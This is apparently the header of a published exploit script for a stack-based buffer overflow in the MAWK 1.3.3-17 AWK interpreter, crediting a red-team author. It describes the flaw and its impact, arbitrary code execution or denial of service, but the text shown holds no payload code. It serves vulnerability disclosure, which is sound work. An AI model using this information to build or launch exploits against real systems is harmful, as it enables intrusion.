MAWK 1.3.3-17 Buffer Overflow

`#!/usr/bin/python  
# Developed using Exploit Pack - http://exploitpack.com -  
<[email protected]>  
# Exploit Author: Juan Sacco <[email protected]> at KPN Red Team -  
http://www.kpn.com  
# Tested on: GNU/Linux - Kali 2017.1 Release  
#  
# Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to  
a stack-based buffer overflow  
# vulnerability because the application fails to perform adequate  
boundary-checks on user-supplied input.  
#  
# Program affected: mawk is an interpreter for the AWK Programming  
Language. The AWK language is useful  
# for manipulation of data files, text retrieval and processing, and  
for prototyping and experimenting with algorithms.  
#  
# An attacker could exploit this vulnerability to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.
